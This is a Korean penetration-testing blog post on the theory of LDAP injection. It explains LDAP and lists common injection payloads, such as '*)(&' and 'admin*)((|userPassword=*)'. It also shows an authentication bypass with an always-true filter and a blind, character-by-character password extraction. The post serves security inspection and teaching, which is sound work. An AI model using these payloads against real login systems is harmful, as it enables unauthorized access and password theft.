본문 바로가기

Penetration/WEB

[주요정보통신기반시설] 3. LDAP 인젝션 - 이론편

이번에 공부할 주제는 LDAP 입니다. LDAP이 무엇이고 어떨때 이 대상에 대해서 점검하는지 확인해보려고 합니다.

 

LDAP(Lightweight Directory Access Protocol)는 사용자가 조직, 구성원 등에 대한 데이터를 찾는 데 도움이 되는 프로토콜입니다. LDAP는 LDAP 디렉터리에 데이터를 저장하고 사용자가 디렉터리에 액세스할 수 있도록 인증하기 위해 주로 사용됩니다. 또한 애플리케이션이 디렉터리 서비스와 정보를 주고 받는 데 필요한 통신 언어를 제공합니다. 디렉터리 서비스는 네트워크 내에서 조직, 개인 및 기타 데이터에 대한 정보가 있는 위치에 액세스할 권한을 제공합니다.

 

LDAP 인젝션은 기존의 인젝션 종류와 비슷하게 특정 쿼리를 넣었을 때 반응을 이끌어 내는 방식으로 공격합니다.( 에러기반이던 블라인드 기반이던) 

 

LDAP 인젝션의 경우 주로 로그인 하는 경우(어떤 기관이나 조직에서 사내망으로 쓰는 경우에 많이 있었던거 같습니다) 점검을 하고있습니다. 

 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection

해당 사이트에 좋은 글이 있어서 참조하였습니다. 

많이 사용되는 페이로드의 예시입니다. 

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

 

해당 페이로드의 목표는 항상 참을 만들어서 로그인에 진입하는 것입니다. 예를 들어서 

user=*
password=*

와 같이 입력하였다고 가정해봅니다. 그 이후에 전달되는 페이로드를 확인해보면 (&(user=*)(password=*))와 같은 형태로 전송되기 때문에 서버에서는 모든 아이디 모든 패스워드라는 조건을 만족하여 로그인이 가능해집니다. (정말 단편적인 예시입니다) 따라서 **) 또는 *)(& 같은 쿼리를 입력하여 로그인 조건의 참을 만족시킵니다.

 

아래의 경우는 위와는 살짝 다른 블라인드 LDAP 인젝션입니다. 하나하나 반응을 확인해서 password를 찾는 과정입니다. OK의 경우 참이고 KO의 경우 거짓입니다.

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK

 

추후에 좋은 사례(Root Me)의 사례를 이용해서 실습편을 진행하려고 합니다. 

이상입니다.

추가(10월 10일)

점검시 포트검색을 통해서 389, 636 포트가 발견되지 않을 시 서비스를 사용하지 않는 것으로 판단할 수 있습니다.